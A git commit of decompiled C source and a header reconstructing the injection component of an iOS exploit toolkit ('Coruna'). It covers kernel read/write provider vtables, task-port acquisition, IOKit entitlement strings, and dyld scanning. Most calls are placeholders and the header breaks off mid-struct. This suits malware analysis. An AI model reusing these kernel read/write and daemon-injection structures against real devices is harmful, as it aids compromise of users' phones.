Attempt to fix source

This commit is contained in:
khanhduytran0
2026-03-12 18:33:50 +07:00
parent d0aa8395aa
commit 33b42fcf43
22 changed files with 7402 additions and 0 deletions
+139
View File
@@ -0,0 +1,139 @@
/*
* dlsym.c - Custom symbol resolution from F00DBEEF containers
*
* Decompiled from entry2_type0x0f.dylib offsets 0x1dbc00x1dd60
*
* Instead of using the standard dlsym(), entry2 has its own symbol
* resolution mechanism that works with F00DBEEF-formatted containers.
* This is used to resolve "_driver" from the type0x09 LOADER dylib
* without going through dyld.
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
/* ── e2_create_resolver (0x1dbc0) ────────────────────────────────── *
* Creates a symbol resolver object (0x38 bytes) that can look up
* symbols from a loaded dylib's export trie or symbol table.
*
* The resolver wraps an internal dyld handle obtained via 0x1e748
* (likely _dyld_process_info_create or similar) and populates a
* vtable with PAC-signed lookup functions.
*
* Vtable layout (0x38 bytes):
* +0x00: flags (0x10001)
* +0x08: dyld_handle (from internal dyld query)
* +0x10: fn_lookup — resolves a symbol name to address
* +0x18: fn_iterate — iterate exports
* +0x20: fn_info — get module info
* +0x28: fn_close — cleanup
* +0x30: fn_query — query capabilities
*/
kern_return_t e2_create_resolver(symbol_resolver_t **out)
{
if (!out)
return E2_ERR_NULL;
/* Get internal dyld handle */
void *dyld_handle = NULL;
kern_return_t kr;
/* 0x1e748: queries dyld internals — likely uses
* _dyld_process_info_create / _dyld_process_info_for_each_image
* to enumerate loaded images */
kr = /* e2_get_dyld_handle */ 0; /* placeholder: 0x1e748(&dyld_handle) */
if (kr != KERN_SUCCESS)
return kr;
symbol_resolver_t *resolver = calloc(1, 0x38);
if (!resolver) {
/* cleanup dyld_handle: 0x1e688 */
return E2_ERR_ALLOC;
}
resolver->flags = 0x10001;
resolver->dyld_handle = dyld_handle;
/* PAC-sign each vtable function pointer with paciza.
* These are at relative offsets from the adr instructions:
* +0x10: adr x16, #+428 → lookup function
* +0x18: adr x16, #+544 → iterate function
* +0x20: adr x16, #+716 → info function
* +0x28: adr x16, #+828 → close function
* +0x30: adr x16, #+1048 → query function
*/
/* resolver->fn_lookup = paciza(lookup_func);
* resolver->fn_18 = paciza(iterate_func);
* resolver->fn_20 = paciza(info_func);
* resolver->fn_28 = paciza(close_func);
* resolver->fn_30 = paciza(query_func); */
*out = resolver;
return KERN_SUCCESS;
}
/* ── e2_custom_dlsym (0x1dc98) ───────────────────────────────────── *
* Custom dlsym implementation that resolves symbols from F00DBEEF
* containers. This is the mechanism used to resolve "_driver" from
* the type0x09 LOADER.
*
* Flow:
* 1. Validate the container has F00DBEEF magic
* 2. Check bounds: entry_count * 16 + 8 must fit in size
* 3. Create a resolver via e2_create_resolver
* 4. Call the resolver's lookup function to find the symbol
* 5. Store result in the output object
*
* Parameters:
* output — receives the parsed container/module context
* container — raw F00DBEEF container data from type0x09
* size — byte length of container data
*/
kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size)
{
if (!output || !container || !size)
return E2_ERR_NULL;
/* Minimum size: magic(4) + count(4) + 1 entry = 9 bytes */
if (size < 9)
return E2_ERR_BAD_MAGIC;
/* Validate F00DBEEF magic */
foodbeef_container_t *hdr = (foodbeef_container_t *)container;
if (hdr->magic != MAGIC_FOODBEEF)
return E2_ERR_BAD_MAGIC;
/* Get entry count and validate bounds */
if (hdr->entry_count == 0)
return E2_ERR_BAD_MAGIC;
/* Each entry is 16 bytes (foodbeef_entry_t), header is 8 bytes */
uint64_t required = sizeof(foodbeef_container_t) +
((uint64_t)hdr->entry_count * sizeof(foodbeef_entry_t));
if (required > (uint64_t)size)
return E2_ERR_BAD_MAGIC;
/* Create a symbol resolver */
symbol_resolver_t *resolver = NULL;
kern_return_t kr = e2_create_resolver(&resolver);
if (kr != KERN_SUCCESS)
return kr;
/* Use the resolver's lookup function to process the container */
kr = resolver->fn_lookup(resolver->dyld_handle, container, size);
if (kr != KERN_SUCCESS) {
/* Cleanup resolver on failure */
/* e2_destroy_resolver(resolver); — at 0x1dd68 */
return kr;
}
/* Success — store parsed result in output.
* The resolver remains alive; the output object now holds
* a reference to the resolved module context which can be
* used to call fn_dlsym (offset 0x30) on the module. */
/* ... further processing to extract symbol table ... */
return KERN_SUCCESS;
}
+592
View File
@@ -0,0 +1,592 @@
/*
* driver.c - Driver backend initialization and management
*
* Decompiled from entry2_type0x0f.dylib offsets 0x182a80x18740,
* 0xc0940xc3fc, 0xba300xbdd0, 0xb8540xb970
*
* The driver backend is the bridge between the krw provider and the
* actual kernel exploitation primitives in type0x09. It handles:
* - Finding dyld's base address via page scanning
* - Extracting the kernel version from Mach-O headers
* - Setting up IOKit user client connections
* - Dispatching kernel reads/writes through the driver
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <dlfcn.h>
#include <unistd.h>
#include <mach-o/loader.h>
#include <sys/sysctl.h>
#include <errno.h>
/* Private syscall — no public header */
extern int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);
/* ── e2_init_driver_backend (0x182a8) ────────────────────────────── *
* Heavy initialization of the driver backend context (0x178 bytes).
*
* This function:
* 1. Gets process info via _NSGet* functions
* 2. Finds dyld base address by scanning backwards from dladdr
* 3. Extracts kernel version from dyld's Mach-O header
* 4. Opens /usr/lib/system/libcache.dylib
* 5. Initializes symbol resolver and Mach-O parser
* 6. Sets up IOKit user client connection
*/
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
void *target, const char *extra)
{
if (!out)
return E2_ERR_NULL;
if (!driver) {
if (!target) return E2_ERR_NULL;
}
/* Allocate backend context */
driver_backend_t *backend = calloc(1, 0x178);
if (!backend) return E2_ERR_ALLOC;
/*
* Step 1: Get process information
*
* These _NSGet* functions provide access to the program's
* argc/argv/environ without going through main(). This works
* even in injected dylibs.
*/
extern void *_NSGetMachExecuteHeader(void);
extern int *_NSGetArgc(void);
extern char ***_NSGetArgv(void);
extern char ***_NSGetEnviron(void);
extern const char **_NSGetProgname(void);
backend->mach_header = _NSGetMachExecuteHeader(); /* +0xC8 */
backend->argc_ptr = _NSGetArgc(); /* +0xD0 */
backend->argv_ptr = _NSGetArgv(); /* +0xD8 */
backend->environ_ptr = _NSGetEnviron(); /* +0xE0 */
backend->progname_ptr = (void *)_NSGetProgname(); /* +0xE8 */
if (!backend->mach_header || !backend->argc_ptr ||
!backend->argv_ptr || !backend->environ_ptr) {
free(backend);
return E2_ERR_INIT;
}
if (!backend->progname_ptr) {
free(backend);
return E2_ERR_INIT;
}
/*
* Step 2: Check sandbox status
*
* Calls a function (0x184d0) that checks if the process is
* sandboxed. This affects which IOKit operations are available.
*/
uint8_t sandbox_result = 0;
kern_return_t kr = 0; /* e2_check_sandbox(&backend->sandbox_result) */
if (kr != KERN_SUCCESS) {
free(backend);
return kr;
}
/* Check extra config flags */
if (extra && *extra) {
/* Additional device-specific initialization (0x19e0c) */
/* This checks SoC type and adjusts behavior */
}
/*
* Step 3: Find dyld base address by scanning memory
*
* Takes the PAC-stripped address of dladdr, rounds down to page
* boundary, then scans backwards page-by-page looking for
* MH_MAGIC_64 (0xFEEDFACF).
*
* asm equivalent:
* ldr x16, [dladdr_got]
* paciza x16
* mov x30, x16
* xpaclri // strip PAC from dladdr ptr
* and x8, x30, #~0xFFF // page-align
* ldr w10, [x8] // read first word
* sub x8, x8, #0x1000 // go back one page
* cmp w10, #0xFEEDFACF // MH_MAGIC_64?
* b.ne loop
*
* Once found, extract kernel version from the Mach-O header at
* offset +0x1008, masked to lower 24 bits.
*/
Dl_info dlinfo;
void *dladdr_ptr = (void *)dladdr; /* get dladdr's own address */
uint64_t stripped = e2_strip_pac((uint64_t)dladdr_ptr);
uint64_t page = stripped & ~0xFFFULL;
/* Scan backwards for MH_MAGIC_64 */
while (*(uint32_t *)page != MAGIC_MH64) {
page -= 0x1000;
}
/* dyld base found at 'page' */
/* Extract kernel version from dyld header + 0x1008 */
uint32_t kver = *(uint32_t *)(page + 0x1008);
backend->kern_version = kver & 0xFFFFFF;
/*
* Step 4: Set up target binding
*
* If we have a driver ref and target, check whether we own
* the target allocation (owns_target flag at +0x10).
*
* If owns_target is true and the target has a release function
* at offset +0x18, we'll call it during cleanup.
*/
bool owns_target = (driver != NULL && target == NULL);
backend->driver_ref = driver;
backend->target_binding = target;
backend->owns_target = owns_target;
/* Copy extra config flags */
if (extra) {
backend->flags_1c = *(uint8_t *)extra;
}
/*
* Step 5: Open libcache.dylib
*
* This is loaded with RTLD_NOLOAD (0x12) which only succeeds
* if already in memory. libcache provides cache management APIs
* used by the symbol resolver.
*/
void *libcache = dlopen("/usr/lib/system/libcache.dylib", 0x12);
backend->libcache_handle = libcache;
/*
* Step 6: Initialize subsystems
*
* Calls two initialization functions:
* 0x13d84: Mach-O parser init — sets up structures for parsing
* the target binary's load commands, segments, etc.
* 0x1b83c: Symbol resolver init — builds a symbol table for
* fast lookups in loaded dylibs.
*
* If either fails, falls back to 0x14714 (minimal init).
*/
kr = 0; /* e2_init_macho_parser(backend) at 0x13d84 */
if (kr != KERN_SUCCESS) {
if (owns_target) {
/* Release target binding: call target[0x20](target, binding) */
}
free(backend);
return kr;
}
kr = 0; /* e2_init_symbol_resolver(backend) at 0x1b83c */
if (kr != KERN_SUCCESS) {
/* Fallback to minimal init: 0x14714 */
if (owns_target) {
/* Release target binding */
}
free(backend);
return kr;
}
/* Success — store backend pointer */
/* *out = backend; */
return KERN_SUCCESS;
}
/* ── e2_driver_cleanup (0xc094) ──────────────────────────────────── *
* Cleans up a driver connection context.
*
* Cleanup order:
* 1. Free IOKit buffers (0xcd00) if present at +0x30
* 2. Close file descriptors (0xfd4c) at +0x28
* 3. Close IOKit connection (0xe178) at +0x18
* 4. If owns_target (+0x08), destroy connection internals (0x185d0)
* 5. Zero out and free the context
*/
kern_return_t e2_driver_cleanup(void *driver_ctx)
{
if (!driver_ctx) return E2_ERR_NULL;
kern_return_t result = KERN_SUCCESS;
/* +0x30: IOKit buffers — cleanup via 0xcd00 */
void *iokit_buf = *((void **)driver_ctx + 6); /* offset 0x30 */
if (iokit_buf) {
/* e2_cleanup_iokit_buffers(iokit_buf) at 0xcd00 */
free(iokit_buf);
}
/* +0x28: file descriptors — close via 0xfd4c */
void *fd_ptr = *((void **)driver_ctx + 5); /* offset 0x28 */
kern_return_t kr1 = 0; /* e2_close_fds(fd_ptr) */
/* +0x18: IOKit connection — close via 0xe178 */
void *iokit_conn = *((void **)driver_ctx + 3); /* offset 0x18 */
kern_return_t kr2 = 0; /* e2_close_iokit(iokit_conn) */
if (result == KERN_SUCCESS) result = kr2;
/* +0x08: owns_target flag */
uint8_t owns = *((uint8_t *)driver_ctx + 8);
if (owns) {
void *conn = *(void **)driver_ctx;
/* e2_destroy_conn_internals(conn) at 0x185d0 */
if (result == KERN_SUCCESS) result = 0; /* kr from destroy */
}
/* Zero and free */
*((void **)driver_ctx + 6) = NULL; /* clear +0x30 */
memset(driver_ctx, 0, 0x30);
free(driver_ctx);
return result;
}
/* ── e2_driver_connect (0xc12c) ──────────────────────────────────── *
* Establishes a connection to the IOKit driver backend.
*
* This validates the Mach-O magic of the loaded driver and
* sets up the IOKit user client connection:
*
* 1. Checks code signing via csops (on older iOS via CS_OPS_CDHASH,
* on newer iOS via CS_OPS_STATUS)
* 2. Gets memory mapping info via the driver's alloc function
* (offset +0x18) with flags 0xF0000
* 3. Validates Mach-O magic: FEEDFACF, CAFEBABE, BEBAFECA, CEFAEDFE
* 4. Allocates driver context (0x38 bytes) for the connection
* 5. Sets up IOKit entitlements for IOSurface/AGX user client access
* 6. Calls through to driver's external method handler
*/
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
void *target, void *binding)
{
if (!dest || !target)
return E2_ERR_NULL;
/* Validate target descriptor version */
uint16_t ver = *(uint16_t *)target;
if (ver != 1) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
if (cnt == 0) return E2_ERR_NULL;
/*
* Check code signing status
*
* On iOS >= 15.x (detected via dyldVersionNumber comparison),
* uses CS_OPS_CDHASH (5) with 20-byte hash output.
* On older iOS, uses CS_OPS_STATUS (0) with 4-byte output.
*
* This determines if the process has valid signatures,
* which affects what IOKit connections are permitted.
*/
pid_t pid = getpid();
uint8_t cs_info[20] = {0};
extern double dyldVersionNumber;
if (dyldVersionNumber >= /* threshold */(double)0) {
/* Newer path: CS_OPS_CDHASH */
int cs_result = csops(pid, 5 /* CS_OPS_CDHASH */, cs_info, 20);
if (cs_result < 0) {
int err = errno;
if (err != 28 /* ENOSPC */) return err | 0x40000000;
}
} else {
/* Older path: CS_OPS_STATUS */
int cs_result = csops(pid, 0 /* CS_OPS_STATUS */, cs_info + 12, 4);
if (cs_result < 0) return 0; /* errno based error */
}
/*
* Get memory mapping from driver
*
* Calls the target's allocation function (offset +0x18) with
* flags 0xF0000 to get a memory region for the driver connection.
*/
void *mapping = NULL;
uint32_t mapping_size = 0;
/* target->fn_alloc(target, 0xF0000, &mapping, &mapping_size) */
if (!mapping || mapping_size < 0x21)
return E2_ERR_NULL;
/*
* Validate Mach-O magic of the loaded driver
*
* Accepts: MH_MAGIC_64 (FEEDFACF), FAT_MAGIC (CAFEBABE/BEBAFECA),
* MH_CIGAM_64 (CEFAEDFE/CFFAEDFE/CFFAEDFD)
* Also accepts: 0x11205325 range (signed 64-bit Mach-O variants)
*/
uint32_t magic = *(uint32_t *)mapping;
bool valid_magic = (magic == MAGIC_MH64 ||
magic == MAGIC_FAT_BE ||
magic == MAGIC_FAT_LE ||
magic == MAGIC_MH64_LE ||
magic == MAGIC_MH64_BE ||
magic == MAGIC_MH64_BE2);
if (!valid_magic)
return E2_ERR_NULL;
/*
* Allocate driver connection context (0x38 bytes)
*
* If binding is provided (version=2, methods>=2), allocates
* a binding context (0x10 bytes) and copies the reference.
*
* Otherwise, checks for sandbox restrictions (0x184d0) and
* allocates a plain context.
*/
void *conn_ctx = calloc(1, 0x38);
if (!conn_ctx) return E2_ERR_ALLOC;
if (binding) {
/* Binding context: allocate and store reference */
void *bind_ctx = calloc(1, 0x10);
if (!bind_ctx) {
free(conn_ctx);
return E2_ERR_ALLOC;
}
*(void **)bind_ctx = binding;
/* Set up IOKit entitlements via the binding's connect function
* (0xe2dc), using the entitlement XML strings:
*
* For IOKit:
* <dict><key>com.apple.security.iokit-user-client-class</key>
* <array><string>IOSurfaceRootUserClient</string>
* <string>AGXDeviceUserClient</string></array></dict>
*
* For task_for_pid:
* <dict><key>task_for_pid-allow</key><true/></dict>
*/
} else {
/* No binding — check sandbox first */
uint8_t sb = 0;
/* e2_check_sandbox_status(&sb) at 0x184d0 */
if (sb) return E2_ERR_CSOPS;
}
/* Store in output */
*(void **)dest = conn_ctx;
return KERN_SUCCESS;
}
/* ── e2_krw_dispatch (0xba30) ────────────────────────────────────── *
* Core KRW dispatch function — process enumeration + kernel read.
*
* This is the heavyweight function (~700 instructions) that:
* 1. Resolves the target path (strrchr '/' or realpath)
* 2. Creates NSConcreteStackBlock callbacks for process iteration
* 3. Uses sysctl(CTL_KERN, KERN_PROC, KERN_PROC_ALL) to get
* the full process list
* 4. Iterates through each kinfo_proc (0x288 bytes each)
* 5. For matching processes, invokes the callback block
* 6. The callback reads kernel task structures and extracts ports
*
* The NSConcreteStackBlock usage is notable: it creates Objective-C
* compatible block objects on the stack, with PAC-signed invoke
* pointers (pacia x16, x15 where x15 = block + 0x10).
*/
kern_return_t e2_krw_dispatch(uint64_t arg0, ...)
{
const char *target_path = (const char *)arg0;
/* Note: additional args extracted from va_list depending on operation.
* For simplicity, the dispatch logic below shows the process-enum path
* (called from kread with arg0=kaddr, arg1=3). */
if (!target_path)
return E2_ERR_RESOLVE;
/* Validate target_path is non-empty */
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
/* Extract flags from varargs (second argument) */
va_list ap;
va_start(ap, arg0);
uint32_t flags = va_arg(ap, uint32_t);
va_end(ap);
/* Resolve path: if flags & 1, use realpath; else use basename */
char *resolved = NULL;
const char *search_name = target_path;
if (flags & 1) {
resolved = realpath(target_path, NULL);
if (!resolved) {
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
search_name = target_path;
} else {
search_name = resolved;
}
} else {
/* Find basename by looking for last '/' */
const char *slash = strrchr(target_path, '/');
search_name = slash ? slash + 1 : target_path;
if (*search_name == 0)
return E2_ERR_RESOLVE;
}
/*
* Build stack blocks for process iteration.
*
* Block 1 (sp+0x08): per-process callback
* isa = _NSConcreteStackBlock (PAC-signed with pacda)
* flags = 0xC2000000 (from constant pool at 0x1ef80)
* invoke = pacized function pointer
* descriptor = pointer to block descriptor
* captures: search flags, path buffers
*
* Block 2 (sp+0xb8): inner iteration callback
* Similar structure, captures block 1 and output buffer
*/
/* Query process list size */
int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
size_t proc_buf_size = 0;
if (sysctl(mib, 4, NULL, &proc_buf_size, NULL, 0) != 0)
goto fail;
if (proc_buf_size == 0)
return KERN_SUCCESS;
/* Allocate and fetch process list */
void *proc_buf = malloc(proc_buf_size * 2); /* 2x for safety */
if (!proc_buf) goto fail;
proc_buf_size *= 2;
if (sysctl(mib, 4, proc_buf, &proc_buf_size, NULL, 0) != 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
goto fail;
}
/*
* Iterate through kinfo_proc entries.
*
* Each entry is 0x288 bytes (struct kinfo_proc on arm64).
* For each entry, invoke the callback block which:
* 1. Compares the process name
* 2. If matched, reads kernel task port via krw
* 3. Stores the port in the output
*/
uint32_t num_procs = (uint32_t)(proc_buf_size / 0x288);
if (num_procs == 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
return KERN_SUCCESS;
}
kern_return_t result = E2_ERR_SYSCTL;
for (uint32_t i = 0; i < num_procs; i++) {
void *entry = (uint8_t *)proc_buf + (i * 0x288);
/* Call block2->invoke(block2, entry) with PAC auth */
/* result = block_invoke(entry); */
if (result == KERN_SUCCESS)
break;
}
/* Check if we found the target */
if (result == KERN_SUCCESS) {
/* Read port from block capture */
/* *out_port = captured_port; */
}
/* Cleanup */
bzero(proc_buf, proc_buf_size);
free(proc_buf);
/* Cleanup resolved path */
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return result;
fail:
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return E2_ERR_SYSCTL;
}
/* ── e2_get_task_port (0xb854) ───────────────────────────────────── *
* Gets a task port via Mach IPC.
*
* Sends a command message (type 5) and receives back:
* - Port right type at offset 0x18
* - Port send count at offset 0x1C
* - The task port itself at offset 0x08
*
* The task port is a mach_port_t that can be used for:
* - mach_vm_allocate / mach_vm_write / mach_vm_protect
* - thread_create_running
* - task_info
*/
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
void *arg2, void *out_port, void *arg4)
{
if (port + 1 < 2)
return E2_ERR_VM_FAIL - 0x1D;
/* Allocate response buffer */
void *response = calloc(1, 0x28);
if (!response) return E2_ERR_GENERIC;
/* Send IPC command via 0xcea4 (mach_msg send with type 5) */
kern_return_t kr;
kr = 0; /* e2_ipc_command(port, 5, 0x28, response, cmd) at 0xcea4 */
if (kr != KERN_SUCCESS) goto cleanup;
/* Validate response */
uint32_t resp_type = ((uint32_t *)response)[5]; /* offset 0x14 */
if (resp_type != 5) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
uint32_t resp_size = ((uint32_t *)response)[1]; /* offset 0x04 */
if (resp_size != 0x20) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
/* Extract results */
if (out_rights) {
*(uint32_t *)out_rights = ((uint32_t *)response)[6]; /* offset 0x18 */
}
/* arg2 corresponds to out_type in the original 7-arg version,
* but krw_get_port passes NULL here (x2 = 0) */
if (arg2) {
*(uint32_t *)arg2 = ((uint32_t *)response)[7]; /* offset 0x1C */
}
kr = KERN_SUCCESS;
if (out_port) {
*(uint32_t *)out_port = ((uint32_t *)response)[2]; /* offset 0x08 */
/* Clear the port from response to prevent double-dealloc */
((uint32_t *)response)[2] = 0;
}
cleanup:
;
/* Deallocate any port rights in response */
uint32_t resp_port = ((uint32_t *)response)[2];
if (resp_port + 1 >= 2) {
mach_port_deallocate(mach_task_self(), resp_port);
}
free(response);
return kr;
}
+480
View File
@@ -0,0 +1,480 @@
/*
* entry2.h - Decompiled header for entry2_type0x0f.dylib
*
* Reverse-engineered from the arm64e binary at:
* payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry2_type0x0f.dylib
*
* This dylib is the persistence/injection component of the Coruna toolkit.
* It obtains kernel read/write primitives from type0x09 (LOADER) via its
* exported _driver symbol, then uses those primitives to inject the MODULE
* (type0x08) into target system daemons.
*
* Exports: _end, _last
*/
#ifndef ENTRY2_H
#define ENTRY2_H
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include <mach/mach.h>
#include <pthread.h>
/* ── Error codes (observed constants) ──────────────────────────────── */
#define E2_ERR_NULL 0x000AD001 /* null argument */
#define E2_ERR_GENERIC 0x000AD009
#define E2_ERR_ALLOC (E2_ERR_GENERIC + 8) /* 0x000AD011, matches bootstrap ERR_ALLOC */
#define E2_ERR_BAD_MAGIC 0x700B /* note: bootstrap uses 0x700C */
#define E2_ERR_NO_CONTAINER 0x7003
#define E2_ERR_NO_DRIVER 0x5005
#define E2_ERR_BAD_VERSION (E2_ERR_NULL + 9) /* 0x000AD00A */
#define E2_ERR_STAGE 0x0001F039 /* stage validation */
#define E2_ERR_IPC_BASE 0x0001E023
#define E2_ERR_IPC_TIMEOUT (E2_ERR_IPC_BASE + 0x18)
#define E2_ERR_MSG_INVALID 0x0001E03A
#define E2_ERR_MACH_MSG 0x0001F037
#define E2_ERR_VM_FAIL 0x0001E038
#define E2_ERR_CSOPS 0x0001E037
#define E2_ERR_INIT 0x0001200F
#define E2_ERR_NO_FUNC (E2_ERR_NULL + 0xF)
#define E2_ERR_TASK_INFO 0x0001E01D
#define E2_ERR_RESOLVE 0x0001E03F
#define E2_ERR_SYSCTL 0x000AD00B
/* ── Magic values ─────────────────────────────────────────────────── */
#define MAGIC_FOODBEEF 0xF00DBEEF
#define MAGIC_MH64 0xFEEDFACF /* MH_MAGIC_64 */
#define MAGIC_FAT_LE 0xBEBAFECA /* FAT_MAGIC */
#define MAGIC_FAT_BE 0xCAFEBABE /* FAT_CIGAM */
#define MAGIC_MH64_LE 0xCEFAEDFE
#define MAGIC_MH64_BE 0xCFFAEDFE
#define MAGIC_MH64_BE2 0xCFFAEDFD
/* ── Mach trap numbers (raw svc #0x80 wrappers at 0x6000) ─────────── */
#define MACH_TRAP_MACH_VM_DEALLOCATE (-12) /* 0x6080 */
#define MACH_TRAP_MACH_PORT_DEALLOCATE (-18) /* 0x6068 */
#define MACH_TRAP_MACH_PORT_MOD_REFS (-19) /* 0x6098 */
#define MACH_TRAP_MACH_REPLY_PORT (-24) /* 0x6038 */
#define MACH_TRAP_THREAD_SELF (-26) /* 0x6044 */
#define MACH_TRAP_TASK_SELF (-27) /* 0x6050 */
#define MACH_TRAP_HOST_SELF (-28) /* 0x605c */
#define MACH_TRAP_MACH_MSG (-31) /* 0x6074 */
#define MACH_TRAP_PID_FOR_TASK (-47) /* 0x6080 */
/* BSD syscalls */
#define SYS_GUARDED_OPEN_DPROTECTED 360 /* 0x6000 */
#define SYS_GUARDED_WRITE 361 /* 0x601c */
/* ── IOKit entitlement strings (in __cstring) ─────────────────────── */
/*
* "<dict><key>com.apple.security.iokit-user-client-class</key>"
* "<array><string>IOSurfaceRootUserClient</string>"
* "<string>AGXDeviceUserClient</string></array></dict>"
*
* "<dict><key>task_for_pid-allow</key><true/></dict>"
*/
/* ── Driver object returned by type0x09's _driver() ───────────────── *
* This is the same structure as module_vtable_t in bootstrap.h.
* Bootstrap PAC-strips all function pointers at +0x10..+0x48
* after receiving this from _driver(). Entry2 validates
* version==2 and method_count>=2 before use.
*
* Layout confirmed from bootstrap.dylib disassembly at 0x870c0x878c:
* ldr x0, [x8, #0x10] → strip_pac → str x0, [x8, #0x10] (fn_deinit)
* ldr x0, [x8, #0x18] → strip_pac → str x0, [x8, #0x18] (fn_init)
* ...through +0x48
*/
typedef struct driver {
uint16_t version; /* +0x00: must be 2 */
uint16_t method_count; /* +0x02: number of methods, must be >= 2 */
uint64_t _pad; /* +0x04: 8 bytes padding (+4 implicit alignment) */
void *fn_deinit; /* +0x10: module deinit */
void *fn_init; /* +0x18: module init */
void *fn_cleanup; /* +0x20: cleanup handler */
void *fn_command; /* +0x28: command dispatch */
void *fn_30; /* +0x30: additional method */
void *fn_38; /* +0x38: additional method */
void *fn_40; /* +0x40: additional method */
void *fn_48; /* +0x48: additional method */
} driver_t;
/* ── Connection to type0x09 LOADER ────────────────────────────────── */
typedef struct type09_connection {
void *context; /* +0x00: internal driver context (driver_backend_t*) */
void *target_info; /* +0x08: bound target descriptor (driver_t*) */
void *driver_ref; /* +0x10: driver reference for connect (validated in 0x11488) */
void *driver_conn; /* +0x18: active driver connection handle */
} type09_connection_t; /* 0x20 bytes total */
/* ── Type0x09 vtable (created at 0x105a4) ─────────────────────────── */
typedef struct type09_vtable {
uint32_t flags; /* +0x00: 0x20002 */
uint32_t _pad;
void *context; /* +0x08: type09_connection_t* */
void (*fn_close)(void*); /* +0x10: close/cleanup */
void (*fn_alloc)(void*, uint32_t flags, void **out, void *extra);
/* +0x18: allocate memory in type0x09 */
void (*fn_dealloc)(void*);/* +0x20: deallocate */
void (*fn_query)(void*); /* +0x28: query info */
void (*fn_dlsym)(void *ctx, const char *name, void **out);
/* +0x30: resolve symbol from type0x09 */
void (*fn_38)(void*); /* +0x38 */
void (*fn_40)(void*); /* +0x40 */
void (*fn_48)(void*); /* +0x48 */
} type09_vtable_t;
/* ── KRW provider vtable (created at 0x11298) ─────────────────────── */
typedef struct krw_provider {
uint32_t flags; /* +0x00: 0x10003 */
uint32_t _pad;
void *context; /* +0x08: type09_connection_t* */
/* All function pointers are PAC-signed with paciza */
kern_return_t (*close)(void *self);
/* +0x10: 0x11510 — destroy provider, free memory */
kern_return_t (*bind)(void *self, void *target);
/* +0x18: 0x115a8 — bind to target process descriptor */
kern_return_t (*unbind)(void *self);
/* +0x20: 0x11634 — unbind from target, cleanup driver */
kern_return_t (*get_info)(void *self);
/* +0x28: 0x11704 — get driver info via csops */
kern_return_t (*open_rw)(void *self, const char *name,
uint32_t name_len, uint32_t flags, void **out);
/* +0x30: 0x11720 — open a kernel r/w channel */
kern_return_t (*kread)(void *self, uint64_t kaddr, uint32_t type);
/* +0x38: 0x1183c — kernel virtual read (dispatch → 0xba30) */
kern_return_t (*kwrite)(void *self, uint64_t kaddr, void *data,
uint32_t size, ...);
/* +0x40: 0x11898 — kernel virtual write (→ 0xc634) */
kern_return_t (*kexec)(void *self, uint64_t kaddr, ...);
/* +0x48: 0x118d4 — kernel exec/call (→ 0xc870) */
kern_return_t (*kalloc)(void *self, uint64_t addr, void *data,
uint32_t size, ...);
/* +0x50: 0x11914 — kernel allocate (→ 0xc400) */
kern_return_t (*get_port)(void *self, mach_port_t port,
void *out_rights, void *out_port);
/* +0x58: 0x11968 — get task port via krw (→ 0xb854)
* Note: disasm shows only 4 args (self, port, out_rights, out_port).
* Internally calls e2_get_task_port(port, out_rights, 0, out_port, 0) */
kern_return_t (*physrw)(void *self, uint64_t physaddr,
void *buf, uint32_t size);
/* +0x60: 0x1186c — physical memory r/w (→ 0xba30) */
void * (*get_base)(void *self);
/* +0x68: 0x119a0 — get kernel base address */
} krw_provider_t;
/* ── KRW channel (created at 0x11720) ─────────────────────────────── */
typedef struct krw_channel {
uint16_t version; /* +0x00: 1 */
uint16_t _pad02;
uint32_t _pad04;
void *driver_handle; /* +0x08: handle from driver backend */
uint64_t target_addr; /* +0x10 */
uint32_t target_size; /* +0x18 */
uint32_t _pad1c;
void *extra; /* +0x20 */
void (*fn_read)(void*); /* +0x28: PAC-signed read op */
void (*fn_write)(void*); /* +0x30: PAC-signed write op */
void (*fn_info)(void*); /* +0x38: PAC-signed info op */
} krw_channel_t;
/* ── Driver backend context (created at 0x182a8, 0x178 bytes) ─────── */
typedef struct driver_backend {
void *driver_ref; /* +0x00: driver_t* from type0x09 */
void *target_binding; /* +0x08: bound target descriptor */
bool owns_target; /* +0x10: whether we allocated the target */
uint8_t _pad11[0x0B];
uint8_t flags_1c; /* +0x1c */
uint8_t sandbox_result; /* +0x1d */
uint8_t _pad1e[0x02];
void *libcache_handle; /* +0x20: dlopen("/usr/lib/system/libcache.dylib") */
/* ... further fields for symbol resolution, Mach-O parsing ... */
uint32_t kern_version; /* +0x18: extracted from dyld header */
/* ... */
void *mach_header; /* +0xC8: _NSGetMachExecuteHeader() */
void *argc_ptr; /* +0xD0: _NSGetArgc() */
void *argv_ptr; /* +0xD8: _NSGetArgv() */
void *environ_ptr; /* +0xE0: _NSGetEnviron() */
void *progname_ptr; /* +0xE8: _NSGetProgname() */
/* ... rest of 0x178 bytes ... */
} driver_backend_t;
/* ── F00DBEEF container entry (16 bytes each) ─────────────────────── *
* Layout confirmed from bootstrap.dylib at 0x7c9c0x7e0c:
* type_flags at +0x00, flags at +0x04,
* data_offset at +0x08, data_size at +0x0c
*/
typedef struct foodbeef_entry {
uint32_t type_flags; /* upper 16 bits = segment type */
uint32_t flags; /* typically 0x00000003 */
uint32_t data_offset; /* offset within container */
uint32_t data_size; /* size of data */
} foodbeef_entry_t;
/* ── F00DBEEF container header (for custom dlsym at 0x1dc98) ──────── */
typedef struct foodbeef_container {
uint32_t magic; /* 0xF00DBEEF */
uint32_t entry_count;
